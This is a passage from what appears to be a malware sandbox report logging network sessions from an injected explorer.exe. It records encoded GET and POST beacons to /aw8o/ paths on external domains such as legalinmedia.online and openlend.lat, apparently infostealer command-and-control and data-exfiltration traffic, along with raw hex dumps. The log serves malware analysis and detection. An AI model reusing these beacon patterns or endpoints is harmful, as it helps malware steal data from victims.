3HK/KhRb4kWqFbfCaV
Aug 29, 2023 22:45:41.920120001 CEST	702	OUT	Data Raw: 52 31 4d 45 62 50 48 5a 48 55 69 69 51 6a 55 75 68 62 44 30 58 6d 46 6a 52 44 65 56 6a 4f 37 72 37 63 39 36 54 47 79 42 6a 61 6c 4e 4a 63 31 4a 41 31 45 49 38 76 4b 33 44 2b 59 59 68 6f 54 35 56 38 46 78 56 44 43 42 31 57 6f 7a 55 6a 73 74 49 36 Data Ascii: R1MEbPHZHUiiQjUuhbD0XmFjRDeVjO7r7c96TGyBjalNJc1JA1EI8vK3D+YYhoT5V8FxVDCB1WozUjstI66kz4ypeYZtgSSmyLjnzToUAmPNVTsuxgd6uAtBe9AXdCuuHLJbKeWN6rrtiY6w4P2P9lDL9pgCph0D036SJWpaP2VE7g+V0C6cnn795iLuvlMfiFO3IJSnX4EJTTyYrzrvTmWJzE1LGC1DOfpt/YlC86vD/fjxqpC
Aug 29, 2023 22:45:41.920327902 CEST	705	OUT	Data Raw: 64 48 33 76 5a 61 31 32 6b 4a 30 7a 33 37 7a 39 4a 79 4f 6c 6b 77 74 76 36 42 74 53 75 6a 61 52 31 64 55 65 69 5a 70 4a 4d 6b 38 74 77 78 36 44 6d 49 74 53 65 67 52 42 2f 2b 48 6e 55 4f 7a 6a 2f 77 6a 65 59 53 52 58 33 68 66 51 7a 41 72 7a 33 5a Data Ascii: dH3vZa12kJ0z37z9JyOlkwtv6BtSujaR1dUeiZpJMk8twx6DmItSegRB/+HnUOzj/wjeYSRX3hfQzArz3ZAuFhEOOp4B3RUdQBp7s8Pphx+L2taFbOz+cYuszWy+emnZ8LMdOQ1Fp+NBbOMRX2gLOtBwzpxnnPcG7PoX8oRdZKMvAVjxgIQk2pGZbodKYcR3JMOlyYQuDlx+HtOEJLNzgyJRQdVvPdT9W1hfP3ozdoaLNjXJ+XM
Aug 29, 2023 22:45:41.920499086 CEST	710	OUT	Data Raw: 71 4b 4f 4e 4d 75 59 39 74 45 38 37 5a 77 78 71 6f 63 72 6a 48 56 58 32 51 31 6b 35 78 52 76 4d 33 61 6c 4f 77 5a 5a 77 48 49 57 58 2b 6b 61 6b 70 33 66 41 34 4e 4e 44 65 69 62 64 34 47 4d 78 42 59 53 36 30 34 31 71 72 2f 49 71 4f 34 62 45 30 6e Data Ascii: qKONMuY9tE87ZwxqocrjHVX2Q1k5xRvM3alOwZZwHIWX+kakp3fA4NNDeibd4GMxBYS6041qr/IqO4bE0n+2T597+l58oGW8/ZfKkfq2eAB4ZpZjQSxYeY/YSwL0ym5g016t27MtsnuWIwI3BvoyYysrbcJ571udCDHjo4w772W7pmBe39m82YCMT3TDOQEyt0LnZ4IIDK/0iC/rJH2K6XkZ5X70TUCRq2UybN7YKW4Oq5+mTgN
Aug 29, 2023 22:45:41.920675039 CEST	716	OUT	Data Raw: 37 39 76 38 33 58 36 4f 54 4f 37 50 57 66 78 5a 36 45 4a 5a 45 7a 41 76 45 62 39 61 54 6b 65 64 4d 78 62 6b 74 68 66 41 70 69 72 73 32 70 57 67 54 49 42 6a 55 71 35 4e 33 37 37 79 4d 32 4b 6d 39 4f 7a 66 78 6a 59 78 4a 47 4d 4b 67 76 67 37 4e 45 Data Ascii: 79v83X6OTO7PWfxZ6EJZEzAvEb9aTkedMxbkthfApirs2pWgTIBjUq5N377yM2Km9OzfxjYxJGMKgvg7NEsK9kAAx2ejDnJWJTng1DK44Rlpu9NpRKrz1ewEBlY+BE2yZyqiXjkCy1HTgpD0WvQmX9Kv6HwdHNMhu0tiV6cxQ/4om4e2StaShAuK9ZIKqLeuACgpTG9Kc5bqueONCBcZM6YYpjD/ux/oHK0mi2JZEk6YMnwYt1P
Aug 29, 2023 22:45:41.920788050 CEST	724	OUT	Data Raw: 77 4c 33 2b 46 76 66 61 4d 4a 71 4c 72 57 46 70 55 41 51 4e 63 71 41 32 2f 2f 79 53 6e 4a 53 63 6e 41 46 68 68 7a 55 46 31 2f 7a 59 56 51 35 6c 48 32 76 43 4b 77 39 4b 79 70 31 7a 4a 37 79 4e 33 56 50 75 48 73 75 4f 4d 38 72 75 69 61 55 49 39 4a Data Ascii: wL3+FvfaMJqLrWFpUAQNcqA2//ySnJScnAFhhzUF1/zYVQ5lH2vCKw9Kyp1zJ7yN3VPuHsuOM8ruiaUI9JHOQ/DPR6Ae/dq97JYmFXSgvB0Ri7XBO0+gOhv8tX/XfzlycYqtX+3FLvYltZxQfunW0x92/dAyhUlmwM8pwUfzlUydMwtqGhXI4ojfBqVUYgoERDpean98/NpVMyjvvcp1KcdcwIVPj34YcrpTLRHfRAlW3Zgrkui
Aug 29, 2023 22:45:41.930653095 CEST	727	OUT	Data Raw: 61 31 4e 6d 4a 50 37 5a 30 76 58 74 59 38 73 4e 47 65 45 34 69 4b 6c 6f 65 47 6b 41 61 33 6d 34 57 39 65 65 59 63 79 2f 41 70 42 4b 39 79 51 6c 63 56 64 2b 78 4d 71 73 37 62 4c 46 68 70 71 4a 78 6b 46 6b 54 33 72 76 37 4d 74 68 6c 67 68 38 4f 38 Data Ascii: a1NmJP7Z0vXtY8sNGeE4iKloeGkAa3m4W9eeYcy/ApBK9yQlcVd+xMqs7bLFhpqJxkFkT3rv7Mthlgh8O8DqnuVw3+9krcyqlBPHR1dNY8FuuN3dixpnBHLylklK/FUYwKi+LQQI0bBf1a3yTnbyZJRz/zMFXBhCEpF81Ab0bze6Zt1yaMJTrn5CoZdQioaDametDDd3WCYvHdfAQtccqyKhgPrzbsrjWtn2OodgsGVKqD+kYaW
Aug 29, 2023 22:45:41.930787086 CEST	732	OUT	Data Raw: 52 35 49 6b 69 44 79 7a 56 32 4d 36 4e 79 39 61 30 37 52 57 66 30 41 30 6b 6f 6c 79 73 32 4f 31 70 73 59 67 56 4b 44 63 4b 57 6b 4c 2b 6c 4c 73 4b 6d 39 4c 35 2b 4f 43 57 33 52 66 56 63 75 58 42 74 59 35 6f 74 7a 62 62 36 4e 39 61 73 77 4e 50 46 Data Ascii: R5IkiDyzV2M6Ny9a07RWf0A0kolys2O1psYgVKDcKWkL+lLsKm9L5+OCW3RfVcuXBtY5otzbb6N9aswNPFbMXHUmDpvGIh6qSo+zyrOKxl/QZL4/0NtnoODleZkkppJn1zKGMGBaG9t7Mlw5RT3xmOe8vvA34ZQVEvjZiATizYoJiLOr66FBpEKB9aSVdEiQ6FgHvt+zRaWtPnYNdjyTkGIN3hLLy6WkL2SoKeQ1GGSE+7IkFia
Aug 29, 2023 22:45:41.930947065 CEST	733	OUT	Data Raw: 31 62 56 4f 70 45 33 6d 36 75 6e 56 75 50 54 69 4f 38 55 34 6e 59 56 6d 6b 45 38 39 68 36 49 54 61 74 30 57 37 30 59 34 36 78 37 39 53 77 36 64 4f 78 64 2f 78 64 33 5a 64 72 69 5a 77 72 6e 56 6a 46 46 34 4d 50 59 34 78 4f 4a 53 79 4a 54 6f 64 77 Data Ascii: 1bVOpE3m6unVuPTiO8U4nYVmkE89h6ITat0W70Y46x79Sw6dOxd/xd3ZdriZwrnVjFF4MPY4xOJSyJTodw6Mw4v9RlxAsICJjaHzuKo/VJadMLJ/+hMS9/4OuCOME43c6GtDwJx2d7zprXozjjYONWjIPPSWIbzHdNStUdKIex3LuXILw8XozC8qEPVletLM70lr4vmx6dLj4BUnqOhqCFPaGO/VHoLWCpWAWQVSZ8XTIjJMOaZ
Aug 29, 2023 22:45:41.931298018 CEST	741	OUT	Data Raw: 2f 30 49 66 6d 49 6b 4a 79 64 75 6a 63 33 59 67 61 55 46 6b 73 6e 7a 76 63 36 50 44 41 44 71 33 35 49 61 50 2f 31 50 78 39 61 57 4c 37 43 77 44 59 69 72 6e 39 31 59 62 36 54 51 5a 36 6d 67 42 35 70 52 78 70 39 4c 46 67 50 73 2f 53 4c 69 77 62 6c Data Ascii: /0IfmIkJydujc3YgaUFksnzvc6PDADq35IaP/1Px9aWL7CwDYirn91Yb6TQZ6mgB5pRxp9LFgPs/SLiwblAE9I2syqgOqpnGnnfVayjeNCM26t7canPWNrjOUzX2f8S/wUT1yPlSnC2Bm4zHROywB/nthC5/s0w0yv++7So36XtseYUtZfpN03HQ8YpGtSvAfMe80BrznW2Qpg659Lw5R7Px2PMxTWXjK8IsxDw2jFGXirFu/sv
Aug 29, 2023 22:45:42.008912086 CEST	742	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:45:42 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/ CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:45:42 CDN-EdgeStorageId: 1082 CDN-RequestId: 4496a5b2650033944de2f3f20b2d1f82
Aug 29, 2023 22:45:42.008986950 CEST	742	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	50003	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:44.440602064 CEST	743	OUT	GET /aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJesVKC8w5QoNuWE8SYi183Rf2cdVRH8sDFcjA1Q==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:45:44.537528992 CEST	744	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:45:44 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJesVKC8w5QoNuWE8SYi183Rf2cdVRH8sDFcjA1Q==&OxdTJ=brp0GrP84QCc CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:45:44 CDN-EdgeStorageId: 1082 CDN-Status: 301 CDN-RequestId: d2ec5a1a7f87fa1076fe4f49e90a5a73 CDN-Cache: MISS
Aug 29, 2023 22:45:44.537601948 CEST	744	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	50004	91.189.114.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:49.687566042 CEST	745	OUT	POST /aw8o/ HTTP/1.1 Host: www.legalinmedia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.legalinmedia.online Referer: http://www.legalinmedia.online/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 52 75 34 6f 4a 47 4c 59 53 6f 51 31 6f 63 65 54 73 42 33 44 6c 69 77 43 59 58 6f 58 55 2b 4e 49 52 45 57 64 66 7a 56 34 2b 57 47 76 4a 48 31 46 68 59 63 6d 32 44 79 38 6a 4b 69 50 49 34 68 59 32 33 46 33 41 36 68 6b 2b 6b 78 67 6d 4a 31 6f 6b 42 79 2b 73 64 76 54 50 30 75 31 4b 6b 66 52 4a 71 51 2b 52 2b 65 76 55 73 79 4b 53 55 58 49 78 4f 41 4d 42 68 6e 48 4e 53 57 65 2b 54 6d 4f 76 79 72 52 2b 58 39 32 38 37 77 41 52 35 56 33 57 47 61 4f 55 58 30 6a 63 4e 34 7a 6e 74 62 6d 48 53 54 76 2f 51 4f 37 4e 49 33 69 56 6c 4b 43 5a 67 3d 3d Data Ascii: 5Nag0d=Ru4oJGLYSoQ1oceTsB3DliwCYXoXU+NIREWdfzV4+WGvJH1FhYcm2Dy8jKiPI4hY23F3A6hk+kxgmJ1okBy+sdvTP0u1KkfRJqQ+R+evUsyKSUXIxOAMBhnHNSWe+TmOvyrR+X9287wAR5V3WGaOUX0jcN4zntbmHSTv/QO7NI3iVlKCZg==
Aug 29, 2023 22:45:49.732836962 CEST	747	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Aug 2023 20:45:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 66 66 32 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e d0 9d d0 b5 20 d0 be d0 bf d1 83 d0 b1 d0 bb d0 b8 d0 ba d0 be d0 b2 d0 b0 d0 bd 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 Data Ascii: ff2c<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title> </title><link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"><script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script><script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; } output.push(value); } ret
Aug 29, 2023 22:45:49.732913971 CEST	748	IN	Data Raw: 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d Data Ascii: urn output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++]; if ( (value & 0xF800) === 0xD800 ) {
Aug 29, 2023 22:45:49.732975006 CEST	749	IN	Data Raw: 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 6b 20 3d 20 30 3b 20 64 65 6c 74 61 20 3e 20 28 28 28 62 61 73 65 20 2d 20 74 6d 69 6e 29 20 2a 20 74 6d 61 78 29 20 3e 3e 20 Data Ascii: floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floor(k + (base - tmin + 1) * delta / (delta + skew))
Aug 29, 2023 22:45:49.733028889 CEST	750	IN	Data Raw: 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 67 69 74 20 3d 20 64 65 63 6f 64 65 5f 64 69 67 69 74 28 69 Data Ascii: e_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("punycode_bad_input(2)"); }
Aug 29, 2023 22:45:49.733083010 CEST	752	IN	Data Raw: 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 5b 69 5d 20 3d 20 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6f Data Ascii: if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.encode(output); }; this.encode = function (i
Aug 29, 2023 22:45:49.733135939 CEST	753	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a 76 20 3e 3d 20 6e 20 26 26 20 69 6a 76 20 3c 20 6d 29 20 6d 20 3d 20 69 6a 76 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 20 2d Data Ascii: if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow (1)"); } delta += (m - n) * (h + 1);
Aug 29, 2023 22:45:49.733189106 CEST	754	IN	Data Raw: 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b Data Ascii: n.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za-z0-9-]/) ? "xn--" + punycode.encode(s) :
Aug 29, 2023 22:45:49.733246088 CEST	756	IN	Data Raw: 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 32 39 35 45 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 77 72 61 70 Data Ascii: 10px; } a { color: #14295E; } .wrapper {padding: 0px;margin: 0 auto;max-width: 1024px;display: flex; flex: 1 0 auto;flex-direction: column;justify-content: spac
Aug 29, 2023 22:45:49.733300924 CEST	757	IN	Data Raw: 3a 20 23 38 39 39 34 41 46 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: : #8994AF; font-size: 10px; } .footer-links { display: grid; grid-area: links; grid-template-columns: repeat(2, 1fr); grid-column-gap: 80px; grid-row-gap:
Aug 29, 2023 22:45:49.733355999 CEST	758	IN	Data Raw: 20 20 20 20 20 2e 66 6f 6f 74 65 72 2d 6c 69 6e 6b 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 34 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 34 70 78 Data Ascii: .footer-links { padding: 14px 0; margin: 14px 0; border-top: 1px solid #F3F4F7; border-bottom: 1px solid #F3F4F7; } } </style></head><body><header>
Aug 29, 2023 22:45:49.777256966 CEST	760	IN	Data Raw: 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 62 65 76 65 6c 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 Data Ascii: troke-linejoin="bevel"/> <path opacity="0.1" fill-rule="evenodd" clip-rule="evenodd" d="M248.358 132.645L251.526 132.541L261.769 137.465L309.277 133.838L321.829 125.218L308.12 118.684L260.612 122.311L251.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49984	107.148.17.67	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:21.313041925 CEST	341	OUT	GET /aw8o/?5Nag0d=UdSYgafQlh0t2NPJFWsJTuyq7bpxDbJ0k4ok7GV9MtKriqrdB2GNDlXOyj3801N/gTxArORLFOT1XOkGkvvmtP3cZGRd+UEGYg==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.kepaoqin.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:44:21.637180090 CEST	343	IN	HTTP/1.1 200 OK Date: Tue, 29 Aug 2023 20:44:21 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 1706 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 af a5 e9 a1 b5 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 47 42 32 33 31 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 e5 ae 8b e4 bd 93 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 75 73 65 72 73 2e 35 31 2e 6c 61 2f 32 31 37 37 34 32 33 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 20 73 72 63 3d 22 2f 2f 6a 73 2e 75 73 65 72 73 2e 35 31 2e 6c 61 2f 32 31 37 37 34 32 35 31 2e 6a 